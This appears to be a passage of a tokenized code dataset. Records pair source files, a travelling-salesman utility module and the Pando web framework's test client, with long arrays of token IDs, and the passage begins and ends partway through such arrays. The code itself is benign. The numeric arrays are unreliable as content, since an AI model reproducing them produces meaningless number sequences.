4638, 30004, 13, 4706, 396, 29871, 31046, 30861, 30004, 13, 4706, 14770, 29889, 12343, 29898, 29916, 29922, 4537, 29892, 11073, 29922, 21134, 8443, 13, 4706, 396, 29871, 31599, 30858, 30004, 13, 4706, 14770, 29889, 4294, 26471, 13, 30004, 13, 30004, 13, 30004, 13, 1678, 396, 29871, 30354, 30763, 232, 165, 161, 232, 191, 189, 31629, 30354, 30004, 13, 1678, 822, 27234, 942, 800, 29918, 9067, 29898, 1311, 29892, 10153, 1125, 30004, 13, 4706, 396, 29871, 235, 177, 176, 234, 190, 134, 30893, 30210, 232, 165, 161, 232, 191, 189, 30004, 13, 4706, 1301, 29918, 14968, 353, 3831, 852, 4197, 30004, 13, 9651, 396, 29871, 236, 157, 146, 31429, 31100, 31264, 31573, 30752, 30861, 31551, 30210, 31085, 30990, 30214, 236, 168, 180, 30503, 30898, 30503, 30959, 30004, 13, 9651, 396, 379, 434, 29903, 1337, 362, 1917, 29898, 29882, 434, 29918, 10889, 29918, 13400, 29922, 29906, 29900, 29892, 3290, 29918, 10889, 29918, 13400, 29922, 29941, 29900, 29892, 659, 29918, 10889, 29918, 13400, 29922, 29906, 29900, 29892, 2337, 29918, 7302, 29922, 8824, 29892, 282, 29922, 29900, 29889, 29945, 511, 30004, 13, 9651, 396, 29871, 30768, 31138, 30406, 29906, 29945, 29945, 232, 138, 146, 31475, 31551, 31605, 30959, 30805, 31908, 31415, 31573, 30752, 30861, 31551, 30267, 30004, 13, 9651, 396, 512, 1765, 25518, 29898, 21936, 29918, 7302, 29922, 8824, 29892, 282, 29922, 29896, 511, 30004, 13, 9651, 396, 29871, 236, 157, 146, 31429, 31264, 31462, 28212, 30457, 30502, 30768, 30397, 30210, 236, 164, 189, 31463, 30004, 13, 9651, 396, 17368, 2713, 21897, 29898, 21936, 29918, 7302, 29922, 8824, 29892, 282, 29922, 29900, 29889, 29945, 511, 30004, 13, 9651, 396, 29871, 236, 157, 146, 31429, 30544, 31424, 30446, 236, 190, 148, 30940, 30004, 13, 9651, 396, 315, 329, 449, 29898, 1949, 29918, 5391, 267, 29922, 29947, 29892, 4236, 29918, 29882, 29918, 2311, 29922, 29947, 29892, 4236, 29918, 29893, 29918, 2311, 29922, 29947, 29892, 5445, 29918, 1767, 29922, 29900, 29892, 2337, 29918, 7302, 29922, 8824, 29892, 282, 29922, 29900, 29889, 29945, 511, 30004, 13, 9651, 396, 16968, 29907, 1336, 29898, 29906, 29906, 29946, 29892, 29871, 29906, 29906, 29946, 511, 30004, 13, 9651, 3118, 2776, 4197, 17875, 29933, 1266, 2264, 29898, 13400, 29922, 29900, 29889, 29896, 29892, 282, 29922, 29896, 511, 16968, 1168, 509, 579, 29898, 13400, 29922, 29900, 29889, 29896, 29892, 282, 29922, 29896, 4638, 511, 30004, 13, 9651, 396, 3118, 2776, 4197, 29924, 8194, 10358, 332, 29898, 2204, 332, 29918, 13400, 29922, 29941, 511, 19302, 713, 10358, 332, 29898, 2204, 332, 29918, 13400, 29922, 29941, 511, 22477, 10358, 332, 29898, 2204, 332, 29918, 13400, 29922, 29941, 511, 1402, 282, 29922, 29900, 29889, 29945, 29892, 511, 30004, 13, 9651, 11198, 936, 29943, 3466, 29898, 29886, 29922, 29900, 29889, 29945, 511, 30004, 13, 9651, 6912, 7731, 29943, 3466, 29898, 29886, 29922, 29900, 29889, 29945, 511, 30004, 13, 9651, 396, 1383, 2027, 17185, 21281, 403, 29898, 30004, 13, 9651, 396, 268, 9500, 29918, 13400, 29922, 29900, 29889, 29906, 11167, 13, 9651, 396, 268, 6287, 29918, 13400, 29922, 29900, 29889, 29906, 11167, 13, 9651, 396, 268, 16734, 29918, 13400, 29922, 29906, 29900, 11167, 13, 9651, 396, 268, 29694, 29922, 11023, 29906, 29889, 23845, 29918, 18521, 1718, 11167, 13, 9651, 396, 268, 5139, 29918, 8513, 29922, 11023, 29906, 29889, 29933, 22364, 29918, 25866, 3281, 29918, 29896, 29900, 29896, 11167, 13, 9651, 396, 268, 282, 29922, 29896, 11167, 13, 9651, 396, 10353, 30004, 13, 308, 2314, 30004, 13, 30004, 13, 4706, 18765, 287, 353, 1301, 29918, 14968, 29898, 3027, 29922, 2492, 8443, 13, 4706, 736, 18765, 287, 1839, 3027, 2033, 30004, 13, 30004, 13, 30004, 13, 30004, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 30004, 13, 30004, 13, 1678, 8783, 353, 19817, 545, 28449, 29898, 5451, 2433, 14968, 1495, 30004, 13, 1678, 7945, 29918, 1272, 29918, 12657, 353, 4842, 305, 29889, 13239, 29889, 1272, 29889, 1469, 10036, 29898, 24713, 29892, 9853, 29918, 2311, 29922, 29896, 29953, 29892, 528, 21897, 29922, 5574, 29892, 5768, 29918, 4230, 29922, 5574, 29892, 954, 29918, 1287, 414, 29922, 29896, 29900, 8443, 13, 1678, 396, 29871, 31573, 30544, 28449, 30210, 30257, 30446, 30214, 30651, 31436, 1469, 10036, 30210, 30257, 30446, 30004, 13, 1678, 1596, 29898, 2435, 29898, 24713, 511, 14968, 29918, 1272, 29918, 12657, 17255, 2435, 1649, 3101, 30004, 13, 30004, 13, 1678, 396, 396, 29871, 30682, 31568, 30705, 30861, 31551, 30004, 13, 1678, 396, 363, 17117, 313, 1272, 29892, 22525, 29897, 297, 26985, 29898, 14968, 29918, 1272, 29918, 12657, 1125, 30004, 13, 1678, 396, 268, 1596, 29898, 3383, 848, 29889, 12181, 29892, 22525, 29889, 12181, 29892, 22525, 8443, 13, 1678, 396, 268, 2537, 353, 14770, 29889, 4532, 26471, 13, 1678, 396, 268, 363, 474, 297, 3464, 29898, 29896, 29953, 1125, 30004, 13, 1678, 396, 308, 4853, 353, 2537, 29889, 1202, 29918, 1491, 5317, 29898, 29946, 29892, 29871, 29946, 29892, 474, 29974, 29896, 8443, 13, 1678, 396, 308, 14770, 29889, 8990, 877, 2696, 1495, 29871, 396, 29871, 31475, 233, 145, 140, 31951, 30502, 30319, 30861, 30210, 232, 160, 147, 31062, 235, 192, 183, 30004, 13, 1678, 396, 308, 14770, 29889, 326, 4294, 29898, 1272, 29961, 29875, 1822, 17858, 1082, 29898, 29896, 29892, 29906, 29892, 29900, 876, 30004, 13, 1678, 396, 268, 14770, 29889, 1491, 26762, 29918, 328, 5143, 29898, 29893, 3493, 29922, 29900, 29892, 298, 3493, 29922, 29900, 29897, 29871, 396, 29871, 31273, 31264, 30319, 30861, 30577, 31016, 30210, 31016, 236, 157, 151, 30004, 13, 1678, 396, 268, 14770, 29889, 4294, 26471, 13, 1678, 396, 268, 2867, 30004, 13, 30004, 13, 1678, 396, 29871, 30354, 30763, 30748, 31454, 31675, 31466, 30004, 13, 1678, 8783, 29889, 1272, 29918, 27691, 26471, 13, 30004, 13, 30004, 13, 30004, 13, 2 ]
src/utils/utils.py
Vnicius/ed-tsp
0
173547
<reponame>Vnicius/ed-tsp # -*- coding: utf-8 -*- import numpy as np def calculate_cost(solution): cost = 0 size_points = len(solution) for index in range(size_points): next_index = index + 1 if (index + 1) < size_points else 0 next_node = solution[next_index].key next_neighbor = solution[index].neighborhood[next_node] cost += next_neighbor.cost return cost def __get_index_neighborhood(solution, index): prev_node = solution[index - 1].key if index > 0 else -1 node = solution[index].key next_node = solution[index + 1 if index + 1 < len(solution) else 0].key return prev_node, node, next_node def __get_cost(node, prev_key, next_key): cost = 0 if prev_key != -1: cost += node.neighborhood[prev_key].cost cost += node.neighborhood[next_key].cost return cost def calculate_swap_cost(solution, i, j, is_2opt=False): prev_i, i_key, next_i = __get_index_neighborhood(solution, i) prev_j, j_key, next_j = __get_index_neighborhood(solution, j) i_node = solution[i] j_node = solution[j] old_i_cost = __get_cost(i_node, prev_i, next_i) old_j_cost = __get_cost(j_node, prev_j, next_j) new_i_cost = 0 new_j_cost = 0 diff_return_cost = 0 if is_2opt: next_i, prev_j = prev_j, next_i if j - i == 1: prev_j = j_node.key next_i = i_node.key elif j == len(solution) - 1 and i == 0: next_j = j_node.key new_i_cost = __get_cost(j_node, prev_i, next_i) new_j_cost = __get_cost(i_node, prev_j, next_j) if i == 0 and j != len(solution) - 1: old_return_cost = solution[-1].neighborhood[i_key].cost new_return_cost = solution[-1].neighborhood[j_key].cost diff_return_cost = new_return_cost - old_return_cost return (new_i_cost - old_i_cost) + (new_j_cost - old_j_cost) + diff_return_cost def get_neighbor(node, key): return next((neighbor for neighbor in node.neighborhood if neighbor.node.key == key)) def swap_neighborhood(solution, i, j): solution[i], solution[j] = solution[j], solution[i] return solution def swap_2opt(solution, i, j): if i == 0: solution[i:j+1] = solution[j::-1] else: solution[i:j+1] = solution[j:i-1:-1] return solution def solution_to_string(solution): return str([node.key for node in solution])
[ 1, 529, 276, 1112, 420, 29958, 29963, 29876, 1654, 375, 29914, 287, 29899, 29873, 1028, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 5215, 12655, 408, 7442, 13, 13, 13, 1753, 8147, 29918, 18253, 29898, 2929, 918, 1125, 13, 1678, 3438, 353, 29871, 29900, 13, 1678, 2159, 29918, 9748, 353, 7431, 29898, 2929, 918, 29897, 13, 13, 1678, 363, 2380, 297, 3464, 29898, 2311, 29918, 9748, 1125, 13, 4706, 2446, 29918, 2248, 353, 2380, 718, 29871, 29896, 565, 313, 2248, 718, 29871, 29896, 29897, 529, 2159, 29918, 9748, 1683, 29871, 29900, 13, 4706, 2446, 29918, 3177, 353, 1650, 29961, 4622, 29918, 2248, 1822, 1989, 13, 13, 4706, 2446, 29918, 484, 1141, 4089, 353, 1650, 29961, 2248, 1822, 484, 1141, 4089, 6614, 29961, 4622, 29918, 3177, 29962, 13, 13, 4706, 3438, 4619, 2446, 29918, 484, 1141, 4089, 29889, 18253, 13, 13, 1678, 736, 3438, 13, 13, 13, 1753, 4770, 657, 29918, 2248, 29918, 484, 1141, 4089, 6614, 29898, 2929, 918, 29892, 2380, 1125, 13, 1678, 12379, 29918, 3177, 353, 1650, 29961, 2248, 448, 29871, 29896, 1822, 1989, 565, 2380, 1405, 29871, 29900, 1683, 448, 29896, 13, 1678, 2943, 353, 1650, 29961, 2248, 1822, 1989, 13, 1678, 2446, 29918, 3177, 353, 1650, 29961, 2248, 718, 29871, 29896, 565, 2380, 718, 29871, 29896, 529, 7431, 29898, 2929, 918, 29897, 1683, 29871, 29900, 1822, 1989, 13, 13, 1678, 736, 12379, 29918, 3177, 29892, 2943, 29892, 2446, 29918, 3177, 13, 13, 13, 1753, 4770, 657, 29918, 18253, 29898, 3177, 29892, 12379, 29918, 1989, 29892, 2446, 29918, 1989, 1125, 13, 1678, 3438, 353, 29871, 29900, 13, 13, 1678, 565, 12379, 29918, 1989, 2804, 448, 29896, 29901, 13, 4706, 3438, 4619, 2943, 29889, 484, 1141, 4089, 6614, 29961, 16304, 29918, 1989, 1822, 18253, 13, 1678, 3438, 4619, 2943, 29889, 484, 1141, 4089, 6614, 29961, 4622, 29918, 1989, 1822, 18253, 13, 13, 1678, 736, 3438, 13, 13, 13, 1753, 8147, 29918, 26276, 29918, 18253, 29898, 2929, 918, 29892, 474, 29892, 432, 29892, 338, 29918, 29906, 3670, 29922, 8824, 1125, 13, 13, 1678, 12379, 29918, 29875, 29892, 474, 29918, 1989, 29892, 2446, 29918, 29875, 353, 4770, 657, 29918, 2248, 29918, 484, 1141, 4089, 6614, 29898, 2929, 918, 29892, 474, 29897, 13, 1678, 12379, 29918, 29926, 29892, 432, 29918, 1989, 29892, 2446, 29918, 29926, 353, 4770, 657, 29918, 2248, 29918, 484, 1141, 4089, 6614, 29898, 2929, 918, 29892, 432, 29897, 13, 1678, 474, 29918, 3177, 353, 1650, 29961, 29875, 29962, 13, 1678, 432, 29918, 3177, 353, 1650, 29961, 29926, 29962, 13, 13, 1678, 2030, 29918, 29875, 29918, 18253, 353, 4770, 657, 29918, 18253, 29898, 29875, 29918, 3177, 29892, 12379, 29918, 29875, 29892, 2446, 29918, 29875, 29897, 13, 1678, 2030, 29918, 29926, 29918, 18253, 353, 4770, 657, 29918, 18253, 29898, 29926, 29918, 3177, 29892, 12379, 29918, 29926, 29892, 2446, 29918, 29926, 29897, 13, 1678, 716, 29918, 29875, 29918, 18253, 353, 29871, 29900, 13, 1678, 716, 29918, 29926, 29918, 18253, 353, 29871, 29900, 13, 1678, 2923, 29918, 2457, 29918, 18253, 353, 29871, 29900, 13, 13, 1678, 565, 338, 29918, 29906, 3670, 29901, 13, 4706, 2446, 29918, 29875, 29892, 12379, 29918, 29926, 353, 12379, 29918, 29926, 29892, 2446, 29918, 29875, 13, 13, 1678, 565, 432, 448, 474, 1275, 29871, 29896, 29901, 13, 4706, 12379, 29918, 29926, 353, 432, 29918, 3177, 29889, 1989, 13, 4706, 2446, 29918, 29875, 353, 474, 29918, 3177, 29889, 1989, 13, 1678, 25342, 432, 1275, 7431, 29898, 2929, 918, 29897, 448, 29871, 29896, 322, 474, 1275, 29871, 29900, 29901, 13, 4706, 2446, 29918, 29926, 353, 432, 29918, 3177, 29889, 1989, 13, 13, 1678, 716, 29918, 29875, 29918, 18253, 353, 4770, 657, 29918, 18253, 29898, 29926, 29918, 3177, 29892, 12379, 29918, 29875, 29892, 2446, 29918, 29875, 29897, 13, 1678, 716, 29918, 29926, 29918, 18253, 353, 4770, 657, 29918, 18253, 29898, 29875, 29918, 3177, 29892, 12379, 29918, 29926, 29892, 2446, 29918, 29926, 29897, 13, 13, 1678, 565, 474, 1275, 29871, 29900, 322, 432, 2804, 7431, 29898, 2929, 918, 29897, 448, 29871, 29896, 29901, 13, 4706, 2030, 29918, 2457, 29918, 18253, 353, 1650, 14352, 29896, 1822, 484, 1141, 4089, 6614, 29961, 29875, 29918, 1989, 1822, 18253, 13, 4706, 716, 29918, 2457, 29918, 18253, 353, 1650, 14352, 29896, 1822, 484, 1141, 4089, 6614, 29961, 29926, 29918, 1989, 1822, 18253, 13, 4706, 2923, 29918, 2457, 29918, 18253, 353, 716, 29918, 2457, 29918, 18253, 448, 2030, 29918, 2457, 29918, 18253, 13, 13, 1678, 736, 313, 1482, 29918, 29875, 29918, 18253, 448, 2030, 29918, 29875, 29918, 18253, 29897, 718, 313, 1482, 29918, 29926, 29918, 18253, 448, 2030, 29918, 29926, 29918, 18253, 29897, 718, 2923, 29918, 2457, 29918, 18253, 13, 13, 13, 1753, 679, 29918, 484, 1141, 4089, 29898, 3177, 29892, 1820, 1125, 13, 1678, 736, 2446, 3552, 484, 1141, 4089, 363, 12307, 297, 2943, 29889, 484, 1141, 4089, 6614, 13, 462, 565, 12307, 29889, 3177, 29889, 1989, 1275, 1820, 876, 13, 13, 13, 1753, 17945, 29918, 484, 1141, 4089, 6614, 29898, 2929, 918, 29892, 474, 29892, 432, 1125, 13, 1678, 1650, 29961, 29875, 1402, 1650, 29961, 29926, 29962, 353, 1650, 29961, 29926, 1402, 1650, 29961, 29875, 29962, 13, 13, 1678, 736, 1650, 13, 13, 13, 1753, 17945, 29918, 29906, 3670, 29898, 2929, 918, 29892, 474, 29892, 432, 1125, 13, 1678, 565, 474, 1275, 29871, 29900, 29901, 13, 4706, 1650, 29961, 29875, 29901, 29926, 29974, 29896, 29962, 353, 1650, 29961, 29926, 1057, 29899, 29896, 29962, 13, 1678, 1683, 29901, 13, 4706, 1650, 29961, 29875, 29901, 29926, 29974, 29896, 29962, 353, 1650, 29961, 29926, 29901, 29875, 29899, 29896, 13018, 29896, 29962, 13, 13, 1678, 736, 1650, 13, 13, 13, 1753, 1650, 29918, 517, 29918, 1807, 29898, 2929, 918, 1125, 13, 1678, 736, 851, 4197, 3177, 29889, 1989, 363, 2943, 297, 1650, 2314, 13, 2 ]
pando/testing/client.py
AspenWeb/pando.py
28
140495
<filename>pando/testing/client.py """ :mod:`client` ------------- """ from functools import partial from http.cookies import SimpleCookie from io import BytesIO import warnings import mimetypes from .. import Response from ..http.request import STANDARD_METHODS from ..utils import maybe_encode, typecheck from ..website import Website BOUNDARY = b'BoUnDaRyStRiNg' MULTIPART_CONTENT = b'multipart/form-data; boundary=' + BOUNDARY class DidntRaiseResponse(Exception): pass class FileUpload: """Model a file upload for testing. Takes data and a filename. """ def __init__(self, data, filename, content_type=None): self.data = data self.filename = filename self.content_type = ( content_type or mimetypes.guess_type( filename.decode('ascii', 'backslashreplace') )[0].encode('ascii') ) def encode_multipart(boundary, data): """ Encodes multipart POST data from a dictionary of form values. The key will be used as the form data name; the value will be transmitted as content. Use the FileUpload class to simulate file uploads (note that they still come out as FieldStorage instances inside of simplates). """ lines = [] if isinstance(data, dict): data = data.items() for key, value in data: if isinstance(value, FileUpload): file_upload = value lines.extend([ b'--' + boundary, b'Content-Disposition: form-data; name="%s"; filename="%s"' % ( key, file_upload.filename ), b'Content-Type: ' + file_upload.content_type, b'', file_upload.data ]) else: lines.extend([ b'--' + boundary, b'Content-Disposition: form-data; name="%s"' % ( maybe_encode(key, 'utf8') ), b'', maybe_encode(value, 'utf8') ]) lines.extend([ b'--' + boundary + b'--', b'', ]) return b'\r\n'.join(lines) class Client: """This is the Pando test client. It is probably useful to you. """ def __init__(self, www_root=None, project_root=None): self.www_root = www_root self.project_root = project_root self._website = None def hydrate_website(self, **kwargs): if (self._website is None) or kwargs: _kwargs = { 'www_root': self.www_root, 'project_root': self.project_root, } _kwargs.update(kwargs) self._website = Website(**_kwargs) return self._website website = property(hydrate_website) def load_resource(self, path): """Given an URL path, return a Resource instance. """ return self.GET(path=path, return_after='get_resource_for_request', want='resource') def get_session(self): s = StatefulClient(www_root=self.www_root, project_root=self.project_root) s._website = self._website return s # HTTP Methods (RFC 2616) # ============ LEGACY_METHODS = { 'xPTIONS': 'OPTIONS', 'HxAD': 'HEAD', 'GxT': 'GET', 'PxST': 'POST', 'PxT': 'PUT', 'DxLETE': 'DELETE', 'TRxCE': 'TRACE', 'CxNNECT': 'CONNECT', } def __getattr__(self, name): if name in STANDARD_METHODS: return partial(self.hit, name) elif name.startswith('x') and name[1:] in STANDARD_METHODS: return partial(self.hxt, name[1:]) elif name in self.LEGACY_METHODS: return partial(self.hxt, self.LEGACY_METHODS[name]) else: return self.__getattribute__(name) def hxt(self, *a, **kw): try: self.hit(*a, **kw) except Response as response: return response else: raise DidntRaiseResponse def hit(self, method, path='/', body=None, data=None, content_type=None, raise_immediately=True, return_after=None, want='response', **headers): if data is not None: warnings.warn(DeprecationWarning( "The `data` argument is deprecated, please use `body` instead." )) body = data if isinstance(content_type, str): content_type = content_type.encode('ascii') if isinstance(body, (dict, list)): if content_type is None: content_type = MULTIPART_CONTENT if content_type.startswith(b'multipart/form-data'): body = encode_multipart(BOUNDARY, body) else: raise ValueError(f"Unknown `content_type`: {content_type!r}") environ = self.build_wsgi_environ(method, path, body, content_type, **headers) state = self.website.respond( environ, raise_immediately=raise_immediately, return_after=return_after, ) return self.resolve_want(state, want) @staticmethod def resolve_want(state, want): attr_path = want.split('.') base = attr_path[0] attr_path = attr_path[1:] out = state[base] for name in attr_path: out = getattr(out, name) return out def build_wsgi_environ(self, method, url, body=None, content_type=None, cookies=None, **kw): # NOTE that in Pando (request.py make_franken_headers) only headers # beginning with ``HTTP`` are included in the request - and those are # changed to no longer include ``HTTP``. There are currently 2 # exceptions to this: ``'CONTENT_TYPE'``, ``'CONTENT_LENGTH'`` which # are explicitly checked for. if isinstance(cookies, dict) and not isinstance(cookies, SimpleCookie): cookies, d = SimpleCookie(), cookies for k, v in d.items(): cookies[str(k)] = str(v) typecheck( url, (bytes, str), method, str, content_type, (bytes, None), body, (bytes, None), ) url = url.encode('ascii') if type(url) != bytes else url if b'?' in url: path, qs = url.split(b'?', 1) else: path, qs = url, None environ = {} if content_type is not None: environ[b'CONTENT_TYPE'] = content_type if cookies is not None: environ[b'HTTP_COOKIE'] = cookies.output(header='', sep='; ') environ[b'HTTP_HOST'] = b'localhost' if path: environ[b'PATH_INFO'] = path if qs: environ[b'QUERY_STRING'] = qs environ[b'REMOTE_ADDR'] = b'0.0.0.0' environ[b'REQUEST_METHOD'] = method.encode('ascii') environ[b'SERVER_PROTOCOL'] = b'HTTP/1.1' if body is not None: environ[b'wsgi.input'] = BytesIO(body) environ[b'HTTP_CONTENT_LENGTH'] = str(len(body)).encode('ascii') environ[b'wsgi.url_scheme'] = 'https' environ.update((k.encode('ascii'), v) for k, v in kw.items()) return environ class StatefulClient(Client): """This is a Client subclass that keeps cookies between calls.""" def __init__(self, *a, **kw): super(StatefulClient, self).__init__(*a, **kw) self.cookie = SimpleCookie() def __enter__(self): return self def __exit__(self, *a): self.cookie.clear() def hit(self, *a, **kw): cookies = kw.pop('cookies', None) if cookies: cookie = SimpleCookie() # session cookies first cookie.update(self.cookie) # request cookies second if isinstance(cookies, SimpleCookie): cookie.update(cookies) else: for k, v in cookies.items(): cookie[str(k)] = str(v) else: cookie = self.cookie kw['cookies'] = cookie want = kw.pop('want', 'response') kw['want'] = 'state' state = super(StatefulClient, self).hit(*a, **kw) r = state.get('response') if isinstance(r, Response) and r.headers.cookie: self.cookie.update(r.headers.cookie) return self.resolve_want(state, want)
[ 1, 529, 9507, 29958, 29886, 1743, 29914, 13424, 29914, 4645, 29889, 2272, 13, 15945, 29908, 13, 29901, 1545, 18078, 4645, 29952, 13, 9072, 29899, 13, 15945, 29908, 13, 13, 3166, 2090, 312, 8789, 1053, 7687, 13, 3166, 1732, 29889, 15108, 583, 1053, 12545, 24914, 13, 3166, 12013, 1053, 2648, 2167, 5971, 13, 5215, 18116, 13, 13, 5215, 286, 17528, 7384, 13, 13, 3166, 6317, 1053, 13291, 13, 3166, 6317, 1124, 29889, 3827, 1053, 6850, 9468, 17011, 29918, 2303, 4690, 29949, 8452, 13, 3166, 6317, 13239, 1053, 5505, 29918, 12508, 29892, 1134, 3198, 13, 3166, 6317, 22942, 1053, 13253, 13, 13, 13, 8456, 18783, 19926, 353, 289, 29915, 8431, 2525, 27838, 29934, 29891, 855, 29934, 29875, 29940, 29887, 29915, 13, 29924, 8647, 5690, 8322, 29918, 22412, 3919, 353, 289, 29915, 18056, 442, 29914, 689, 29899, 1272, 29936, 10452, 2433, 718, 16437, 18783, 19926, 13, 13, 13, 1990, 7440, 593, 29934, 29874, 895, 5103, 29898, 2451, 1125, 13, 1678, 1209, 13, 13, 13, 1990, 3497, 17553, 29901, 13, 1678, 9995, 3195, 263, 934, 6441, 363, 6724, 29889, 323, 6926, 848, 322, 263, 10422, 29889, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 848, 29892, 10422, 29892, 2793, 29918, 1853, 29922, 8516, 1125, 13, 4706, 1583, 29889, 1272, 353, 848, 13, 4706, 1583, 29889, 9507, 353, 10422, 13, 4706, 1583, 29889, 3051, 29918, 1853, 353, 313, 13, 9651, 2793, 29918, 1853, 470, 13, 9651, 286, 17528, 7384, 29889, 2543, 404, 29918, 1853, 29898, 13, 18884, 10422, 29889, 13808, 877, 294, 18869, 742, 525, 1627, 17057, 6506, 1495, 13, 9651, 1723, 29961, 29900, 1822, 12508, 877, 294, 18869, 1495, 13, 4706, 1723, 13, 13, 13, 1753, 19750, 29918, 18056, 442, 29898, 9917, 653, 29892, 848, 1125, 13, 1678, 9995, 13, 1678, 11346, 2631, 6674, 442, 11971, 848, 515, 263, 8600, 310, 883, 1819, 29889, 13, 13, 1678, 450, 1820, 674, 367, 1304, 408, 278, 883, 848, 1024, 29936, 278, 995, 674, 367, 18750, 4430, 13, 1678, 408, 2793, 29889, 4803, 278, 3497, 17553, 770, 304, 29611, 934, 6441, 29879, 313, 6812, 393, 13, 1678, 896, 1603, 2041, 714, 408, 8989, 10486, 8871, 2768, 310, 5466, 1078, 467, 13, 13, 1678, 9995, 13, 1678, 3454, 353, 5159, 13, 13, 1678, 565, 338, 8758, 29898, 1272, 29892, 9657, 1125, 13, 4706, 848, 353, 848, 29889, 7076, 580, 13, 1678, 363, 1820, 29892, 995, 297, 848, 29901, 13, 4706, 565, 338, 8758, 29898, 1767, 29892, 3497, 17553, 1125, 13, 9651, 934, 29918, 9009, 353, 995, 13, 9651, 3454, 29889, 21843, 4197, 13, 18884, 289, 29915, 489, 29915, 718, 10452, 29892, 13, 18884, 289, 29915, 3916, 29899, 4205, 3283, 29901, 883, 29899, 1272, 29936, 1024, 543, 29995, 29879, 1769, 10422, 543, 29995, 29879, 29908, 29915, 1273, 313, 13, 462, 1678, 1820, 29892, 934, 29918, 9009, 29889, 9507, 13, 18884, 10353, 13, 18884, 289, 29915, 3916, 29899, 1542, 29901, 525, 718, 934, 29918, 9009, 29889, 3051, 29918, 1853, 29892, 13, 18884, 289, 29915, 742, 13, 18884, 934, 29918, 9009, 29889, 1272, 13, 632, 2314, 13, 4706, 1683, 29901, 13, 9651, 3454, 29889, 21843, 4197, 13, 18884, 289, 29915, 489, 29915, 718, 10452, 29892, 13, 18884, 289, 29915, 3916, 29899, 4205, 3283, 29901, 883, 29899, 1272, 29936, 1024, 543, 29995, 29879, 29908, 29915, 1273, 313, 13, 462, 1678, 5505, 29918, 12508, 29898, 1989, 29892, 525, 9420, 29947, 1495, 13, 18884, 10353, 13, 18884, 289, 29915, 742, 13, 18884, 5505, 29918, 12508, 29898, 1767, 29892, 525, 9420, 29947, 1495, 13, 632, 2314, 13, 13, 1678, 3454, 29889, 21843, 4197, 13, 4706, 289, 29915, 489, 29915, 718, 10452, 718, 289, 29915, 489, 742, 13, 4706, 289, 29915, 742, 13, 268, 2314, 13, 1678, 736, 289, 12764, 29878, 29905, 29876, 4286, 7122, 29898, 9012, 29897, 13, 13, 13, 1990, 12477, 29901, 13, 1678, 9995, 4013, 338, 278, 349, 1743, 1243, 3132, 29889, 739, 338, 3117, 5407, 304, 366, 29889, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 7821, 29918, 4632, 29922, 8516, 29892, 2060, 29918, 4632, 29922, 8516, 1125, 13, 4706, 1583, 29889, 1636, 29918, 4632, 353, 7821, 29918, 4632, 13, 4706, 1583, 29889, 4836, 29918, 4632, 353, 2060, 29918, 4632, 13, 4706, 1583, 3032, 22942, 353, 6213, 13, 13, 1678, 822, 27246, 10492, 29918, 22942, 29898, 1311, 29892, 3579, 19290, 1125, 13, 4706, 565, 313, 1311, 3032, 22942, 338, 6213, 29897, 470, 9049, 5085, 29901, 13, 9651, 903, 19290, 353, 426, 13, 18884, 525, 1636, 29918, 4632, 2396, 1583, 29889, 1636, 29918, 4632, 29892, 13, 18884, 525, 4836, 29918, 4632, 2396, 1583, 29889, 4836, 29918, 4632, 29892, 13, 9651, 500, 13, 9651, 903, 19290, 29889, 5504, 29898, 19290, 29897, 13, 9651, 1583, 3032, 22942, 353, 13253, 29898, 1068, 29918, 19290, 29897, 13, 4706, 736, 1583, 3032, 22942, 13, 13, 1678, 4700, 353, 2875, 29898, 29882, 2941, 10492, 29918, 22942, 29897, 13, 13, 1678, 822, 2254, 29918, 10314, 29898, 1311, 29892, 2224, 1125, 13, 4706, 9995, 29954, 5428, 385, 3988, 2224, 29892, 736, 263, 18981, 2777, 29889, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 7194, 29898, 2084, 29922, 2084, 29892, 736, 29918, 7045, 2433, 657, 29918, 10314, 29918, 1454, 29918, 3827, 742, 864, 2433, 10314, 1495, 13, 13, 1678, 822, 679, 29918, 7924, 29898, 1311, 1125, 13, 4706, 269, 353, 4306, 1319, 4032, 29898, 1636, 29918, 4632, 29922, 1311, 29889, 1636, 29918, 4632, 29892, 2060, 29918, 4632, 29922, 1311, 29889, 4836, 29918, 4632, 29897, 13, 4706, 269, 3032, 22942, 353, 1583, 3032, 22942, 13, 4706, 736, 269, 13, 13, 1678, 396, 7331, 8108, 29879, 313, 29934, 8610, 29871, 29906, 29953, 29896, 29953, 29897, 13, 1678, 396, 1275, 4936, 1360, 13, 13, 1678, 11060, 29954, 2477, 29979, 29918, 2303, 4690, 29949, 8452, 353, 426, 13, 4706, 525, 29916, 7982, 27946, 2396, 525, 14094, 27946, 742, 13, 4706, 525, 29950, 29916, 3035, 2396, 525, 23252, 742, 13, 4706, 525, 29954, 29916, 29911, 2396, 525, 7194, 742, 13, 4706, 525, 29925, 29916, 1254, 2396, 525, 5438, 742, 13, 4706, 525, 29925, 29916, 29911, 2396, 525, 12336, 742, 13, 4706, 525, 29928, 29916, 18476, 2396, 525, 2287, 18476, 742, 13, 4706, 525, 5659, 29916, 4741, 2396, 525, 5659, 11538, 742, 13, 4706, 525, 29907, 29916, 29940, 8186, 1783, 2396, 525, 6007, 8186, 1783, 742, 13, 1678, 500, 13, 13, 1678, 822, 4770, 657, 5552, 12035, 1311, 29892, 1024, 1125, 13, 4706, 565, 1024, 297, 6850, 9468, 17011, 29918, 2303, 4690, 29949, 8452, 29901, 13, 9651, 736, 7687, 29898, 1311, 29889, 27342, 29892, 1024, 29897, 13, 4706, 25342, 1024, 29889, 27382, 2541, 877, 29916, 1495, 322, 1024, 29961, 29896, 17531, 297, 6850, 9468, 17011, 29918, 2303, 4690, 29949, 8452, 29901, 13, 9651, 736, 7687, 29898, 1311, 29889, 29882, 486, 29892, 1024, 29961, 29896, 29901, 2314, 13, 4706, 25342, 1024, 297, 1583, 29889, 1307, 29954, 2477, 29979, 29918, 2303, 4690, 29949, 8452, 29901, 13, 9651, 736, 7687, 29898, 1311, 29889, 29882, 486, 29892, 1583, 29889, 1307, 29954, 2477, 29979, 29918, 2303, 4690, 29949, 8452, 29961, 978, 2314, 13, 4706, 1683, 29901, 13, 9651, 736, 1583, 17255, 657, 12715, 12035, 978, 29897, 13, 13, 1678, 822, 298, 486, 29898, 1311, 29892, 334, 29874, 29892, 3579, 11022, 1125, 13, 4706, 